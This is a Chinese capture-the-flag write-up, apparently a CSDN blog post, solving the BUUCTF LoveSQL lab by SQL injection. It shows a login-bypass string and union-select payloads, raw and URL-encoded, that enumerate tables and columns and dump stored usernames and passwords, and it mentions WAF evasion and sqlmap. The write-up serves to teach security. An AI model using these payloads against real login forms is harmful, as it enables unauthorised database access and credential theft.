[极客大挑战 2019]LoveSQL 1

本文介绍了一次具体的SQL注入攻击过程,包括确定注入点、探测数据库结构、获取敏感信息等步骤。通过构造特定的payload,成功获取了目标数据库中的表结构及数据。

[极客大挑战 2019]LoveSQL
1
[目标]
Sql注入
[环境]
Buuctf
[工具]
浏览器
[分析]
1.在账号密码框分别试数字或字母,引号都是返回一个结果
在这里插入图片描述

2.试一试万能密码
在这里插入图片描述在这里插入图片描述

3.查询列数
Payload:
username=1’ order by 3#&password=1
Url:1%27%20order%20by%203%23&password=1
在这里插入图片描述

Payload:
username=1’ order by 4#&password=1
Url:
username=1%27%20order%20by%204%23&password=1
在这里插入图片描述

由此可知,总共有三列
4.查询数据库
Payload:username=1’union select 1,database(),version()#&password=1
Url:username=1%27union%20select%201,database(),version()%23&password=1
在这里插入图片描述

5.查询表名
Payload:
username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#&password=1
Url:
username=1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=1
在这里插入图片描述

得到geekuser,l0ve1ysq1两个表
6.查找表中的列
Payload:
username=1’union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()#&password=1
Url:
username=1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%23&password=1
在这里插入图片描述

得到id,username,password,id,username,password这些列
7.查找l0ve1ysq1表中的值
Payload:
username=1’unionselect1,2,group_concat(id,username,password) from l0ve1ysq1#&password=1
Url:
username=1%27union%20select%201,2,group_concat(id,username,password)%20from%20l0ve1ysq1%23&password=1
在这里插入图片描述

打开源码
在这里插入图片描述

得到flag
查询geekuser表中的值
Payload:
username=1’union select 1,2,group_concat(id,username,password) from geekuser#&p
assword=1
Url:
username=1%27union%20select%201,2,group_concat(id,username,password)%20from%20geekuser%23&password=1
在这里插入图片描述

在 BUUCTF Web 极客挑战 2019 的 *LoveSQL* 题目中,这是一道典型的 SQL 注入练习题。题目要求通过注入点获取 flag,并考验了对 SQL 注入的多个阶段的理解与实践能力。 ### 解题思路 首先访问靶机页面后,发现是一个登录界面,提示需要输入用户名和密码。这种情况下通常可以尝试 SQL 注入攻击来绕过验证机制[^4]。 #### 第一步:判断是否存在 SQL 注入漏洞 可以通过简单的 `'` 输入进行测试,观察是否出现数据库报错信息。如果页面返回异常,则说明存在 SQL 注入的可能性。 #### 第二步:使用联合查询 (Union Query) 获取数据 通过构造以下万能密码: ```sql ' or '1'='1 ``` 或类似的 SQL 片段尝试绕过登录限制,从而进入系统并获取初步信息。 接着,进一步使用联合查询来提取数据库中的表名。例如: ```sql ' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() # ``` 这段语句会将当前数据库的所有表名合并为一个字符串输出,从而帮助确定目标表的位置。 #### 第三步:爆破字段名 找到相关表后,可以继续利用 `information_schema.columns` 来查找该表中的字段名。例如: ```sql ' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag_table' # ``` 这样便能获取到包含 flag 数据的字段名称。 #### 第四步:读取 flag 数据 最后一步是直接从目标字段中读取 flag 值。例如: ```sql ' UNION SELECT 1,2,flag_value FROM flag_table # ``` 通过这种方式,即可成功提取出 flag 内容。 ### 注意事项 - 在实际操作过程中,需要注意 WAF(Web Application Firewall)可能存在的过滤规则,必要时需对 SQL 语句进行编码或变形处理。 - 可以使用工具如 Burp Suite 或 sqlmap 辅助探测注入点及自动化提取数据。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值